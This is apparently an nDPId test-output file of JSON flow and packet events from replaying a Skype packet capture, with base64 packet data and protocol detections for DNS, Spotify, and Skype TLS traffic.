+00481{"flow_id":216,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1339,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":774355,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"0NQSxnP1PBXCt3IOCABFAABbM2hAAEAGh\/\/AqAEib91NjsOnAbtL1T1gvTzTb4AYECxRTwAAAQEICj4jYr1NjGHr5RyfsH3VvVnJQl71QZdIt8rlNEktfRguBXjBrITvME1ddq1hxqhh"} +00510{"flow_id":213,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1340,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969697,"pkt_ts_usec":782591,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"0NQSxnP1PBXCt3IOCABFAABuydhAAEAGjv\/AqAEinTeCsMOhAbuvVQflSOC7goAYECwT1gAAAQEICj4jYsVOpRVM44Sb+UDZvBPvyND8nEiSDIgGrYJQDfLAHfdrnXRK8kGdb7zASRkE5IOUEx\/7yIb01lebNVn49aeUJw=="} +00437{"flow_id":217,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1341,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":68812,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8HKtAAEAG03zAqAEinTfrksOogQnO4dIux\/F784AYECr6GQAAAQEICj4jY+NMXR0I+8v6kCGg1MM="} +00439{"flow_id":199,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1342,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":149010,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8xhlAAEAGKYLAqAEi1cezjsObnEM6Aj4iHrKtfIAYECoNvgAAAQEICj4jZDNQDL\/hxH9LQ46+GKw="} +00440{"flow_id":161,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1343,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":322293,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8PAdAAEAGHKfAqAEiQTffDMORnF\/vfD9kP0r\/xIAZECldjAAAAQEICj4jZOBNoe23pd7yTaWfPN4="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1346,"source":"skype.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1431969698508,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00462{"flow_id":218,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1346,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":508678,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xCwDBkn+CABFAABIoEQAAEARVbXAqAFcwKgB\/+EV4RUANFGUU3BvdFVkcDB5FYpWEIvHwwABAARIlcIDhMAbG8d8ZX7RWey9o+VAQ2IEJyw="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1346,"source":"skype.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1431969698508,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00427{"flow_id":177,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1347,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":570838,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0e4pAAEAG3Y3AqAEinTeCqsOWnFJsNFXp7fFHoYARECoyaAAAAQEICj4jZddOqgg\/"} +00427{"flow_id":183,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1348,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":570839,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0t6xAAEAGoWvAqAEinTeCqsOYAbvnclEdz\/tu9oARECxLmAAAAQEICj4jZddOqgnR"} +00439{"flow_id":217,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1349,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":635691,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8SuxAAEAGpTvAqAEinTfrksOogQnO4dIux\/F784AYECr35QAAAQEICj4jZhdMXR0I+8v6kCGg1MM="} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1352,"source":"skype.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1431969698743,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63321,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":219,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1352,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":743022,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"0NQSxnP1PBXCt3IOCABFAABEy5wAAEARK5nAqAEiwKgBAfdZADUAMBpr\/I4BAAABAAAAAAAABWU0NTkzAWcKYWthbWFpZWRnZQNuZXQAAAEAAQ=="} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1352,"source":"skype.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1431969698743,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63321,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e4593.g.akamaiedge.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_id":219,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1353,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":797139,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"PBXCt3IO0NQSxnP1CABFAABUAABAAEARtyXAqAEBwKgBIgA191kAQKAy\/I6BgAABAAEAAAAABWU0NTkzAWcKYWthbWFpZWRnZQNuZXQAAAEAAcAMAAEAAQAAABAABBfOIaY="} +00671{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1353,"source":"skype.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":2,"flow_first_seen":1431969698743,"flow_last_seen":1431969698797,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.1","src_port":63321,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Skype","breed":"Acceptable","category":"VoIP"},"dns": {"query":"e4593.g.akamaiedge.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"23.206.33.166"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1354,"source":"skype.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1431969698797,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":50090,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":220,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1354,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":797752,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABASetAAEAG9Y7AqAEiF84hpsOqAbtGC\/RmAAAAALAC\/\/+XCwAAAgQFtAEDAwUBAQgKPiNmuAAAAAAEAgAA"} +00437{"flow_id":220,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1355,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":840738,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADkGRn4XziGmwKgBIgG7w6oZSGV1Rgv0Z6ASOJDhugAAAgQFrAQCCArsLyLPPiNmuAEDAwU="} +00426{"flow_id":220,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1356,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":840845,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ZSJAAEAG2mPAqAEiF84hpsOqAbtGC\/RnGUhldoAQECw4twAAAQEICj4jZuLsLyLP"} +00655{"flow_id":220,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1357,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969698,"pkt_ts_usec":841627,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbDrpAAEAGMCXAqAEiF84hpsOqAbtGC\/RnGUhldoAYECxjgQAAAQEICj4jZuLsLyLPFgMBAKIBAACeAwFVWh+iRxw4dKYdeAHJfyjlXjv9yCDOr6NdIx96jKX10wAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00752{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1357,"source":"skype.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":4,"flow_first_seen":1431969698797,"flow_last_seen":1431969698841,"flow_tot_l4_data_len":315,"flow_min_l4_data_len":32,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"23.206.33.166","src_port":50090,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"apps.skype.com","ja3":"3d49c0a7161d6636fcb6973f14e05046","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1358,"source":"skype.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":1431969699142,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.146","src_port":50091,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":221,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1358,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":142169,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAQstAAEAGrVjAqAEinTfrksOrAbuMrH5PAAAAALAC\/\/911AAAAgQFtAEDAwUBAQgKPiNoDgAAAAAEAgAA"} +00655{"flow_id":220,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1359,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":168503,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbhlNAAEAGuIvAqAEiF84hpsOqAbtGC\/RnGUhldoAYECxiOwAAAQEICj4jaCjsLyLPFgMBAKIBAACeAwFVWh+iRxw4dKYdeAHJfyjlXjv9yCDOr6NdIx96jKX10wAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00437{"flow_id":221,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1360,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":217668,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADYG+iedN+uSwKgBIgG7w6sASTQ1jKx+UKASOJCu2QAAAgQFrAQCCApMXR6HPiNoDgEDAwk="} +00425{"flow_id":221,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1361,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":217795,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0ol1AAEAGTdLAqAEinTfrksOrAbuMrH5QAEk0NoAQECwFuQAAAQEICj4jaFlMXR6H"} +00524{"flow_id":221,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1362,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":217908,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"0NQSxnP1PBXCt3IOCABFAAB85GxAAEAGC3vAqAEinTfrksOrAbuMrH5QAEk0NoAYECwPqAAAAQEICj4jaFlMXR6HgEYBAwEALQAAABAAAAUAAAQAAAoAAAkAAGQAAGIAAAgAAAMAAAYBAIAHAMADAIAGAEACAIAEAIBO52ztOuM4SeafxGVSGxBB"} +00425{"flow_id":221,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1363,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":291196,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0KqxAADYGz4OdN+uSwKgBIgG7w6sASTQ2jKx+mIAQAB0VbQAAAQEICkxdHpo+I2hZ"} +00521{"flow_id":221,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1364,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":291304,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB4lntAAEAGWXDAqAEinTfrksOrAbuMrH6YAEk0NoAYECzM1wAAAQEICj4jaKJMXR6aqu6O72aW6xh35z3AV+yJQQlzV\/czZ3tOI38nltt4UVqSgJEIfqzGP6jAcvysYI+CHXjgzzv6OFuoeDW4oVrEywZ4EAM="} +00438{"flow_id":215,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1365,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":447656,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8GRVAAEAGonHAqAEib91NjsOmnFcVc99Ix3A4pYAYECml8gAAAQEICj4jaT5NjGBDwr8qfxKhl3o="} +00439{"flow_id":217,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1366,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":569811,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8WLxAAEAGl2vAqAEinTfrksOogQnO4dIux\/F784AYECr0RQAAAQEICj4jabdMXR0I+8v6kCGg1MM="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1367,"source":"skype.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":1431969699577,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.155","src_port":50092,"dst_port":40020,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":222,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1367,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":577033,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"0NQSxnP1PBXCt3IOCABFAABAuMZAAEAGoFTAqAEinTeCm8OsnFQhlXAyAAAAALAC\/\/+7tgAAAgQFtAEDAwUBAQgKPiNpvQAAAAAEAgAA"} +00655{"flow_id":220,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1368,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":624008,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"0NQSxnP1PBXCt3IOCABFAADbarFAAEAG1C3AqAEiF84hpsOqAbtGC\/RnGUhldoAYECxgdwAAAQEICj4jaezsLyLPFgMBAKIBAACeAwFVWh+iRxw4dKYdeAHJfyjlXjv9yCDOr6NdIx96jKX10wAATAD\/VgDAJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAApAAAAEwARAAAOYXBwcy5za3lwZS5jb20ACgAIAAYAFwAYABkACwACAQA="} +00521{"flow_id":221,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1369,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":684363,"pkt_caplen":134,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":134,"pkt_l4_len":100,"pkt":"0NQSxnP1PBXCt3IOCABFAAB4bbNAAEAGgjjAqAEinTfrksOrAbuMrH6YAEk0NoAYECzLUQAAAQEICj4jaihMXR6aqu6O72aW6xh35z3AV+yJQQlzV\/czZ3tOI38nltt4UVqSgJEIfqzGP6jAcvysYI+CHXjgzzv6OFuoeDW4oVrEywZ4EAM="} +00437{"flow_id":222,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1371,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":706857,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYh+dN4KbwKgBIpxUw6wV0QgaIZVwM6ASOJCGcAAAAgQFrAQCCApOs6EPPiNpvQEDAwk="} +00425{"flow_id":222,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1372,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":706980,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0BLVAAEAGVHLAqAEinTeCm8OsnFQhlXAzFdEIG4AQECzdGQAAAQEICj4jaj5Os6EP"} +00512{"flow_id":222,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1373,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":707532,"pkt_caplen":127,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":127,"pkt_l4_len":93,"pkt":"0NQSxnP1PBXCt3IOCABFAABxV5lAAEAGAVHAqAEinTeCm8OsnFQhlXAzFdEIG4AYECxX9AAAAQEICj4jaj5Os6EPGu3oE6Z1WqXzUrOj9YhWRjEJaAN+v8U1njechafUdnsVXMcpfQfiZuLImpu3RrHDpMUye\/ChXrf8PUqzyA=="} +00425{"flow_id":222,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1374,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":837791,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0qStAADcGuPudN4KbwKgBIpxUw6wV0QgbIZVwcIAQAB3sygAAAQEICk6zoTA+I2o+"} +00538{"flow_id":222,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1375,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":840063,"pkt_caplen":146,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":146,"pkt_l4_len":112,"pkt":"PBXCt3IO0NQSxnP1CABFAACEqSxAADcGuKqdN4KbwKgBIpxUw6wV0QgbIZVwcIAYAB0U6gAAAQEICk6zoTE+I2o+HAftMTjk4hHVFRN7uJCMVaom8oldV\/hPp5zRzEwTRzXohSec2lRR+5S3SW0Upy7gbbpjuMlmH0Tl0puQwf7XnF3q02i5lo\/01QILQLEuR0w="} +00426{"flow_id":222,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1376,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":840128,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0WWJAAEAG\/8TAqAEinTeCm8OsnFQhlXBwFdEIa4AQECnb6QAAAQEICj4jasJOs6Ex"} +00437{"flow_id":222,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1377,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969699,"pkt_ts_usec":840675,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8IPhAAEAGOCfAqAEinTeCm8OsnFQhlXBwFdEIa4AYEClWagAAAQEICj4jasJOs6ExgUZfklcFTZE="} +00478{"flow_id":216,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1378,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969700,"pkt_ts_usec":39730,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"0NQSxnP1PBXCt3IOCABFAABbJJ9AAEAGlsjAqAEib91NjsOnAbtL1T1gvTzTb4AYECxIgwAAAQEICj4ja4lNjGHr5RyfsH3VvVnJQl71QZdIt8rlNEktfRguBXjBrITvME1ddq1hxqhh"} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1379,"source":"skype.pcap","alias":"nDPId-test","flow_id":214,"flow_packet_id":1,"flow_first_seen":1431969692507,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1379,"source":"skype.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1431969698508,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 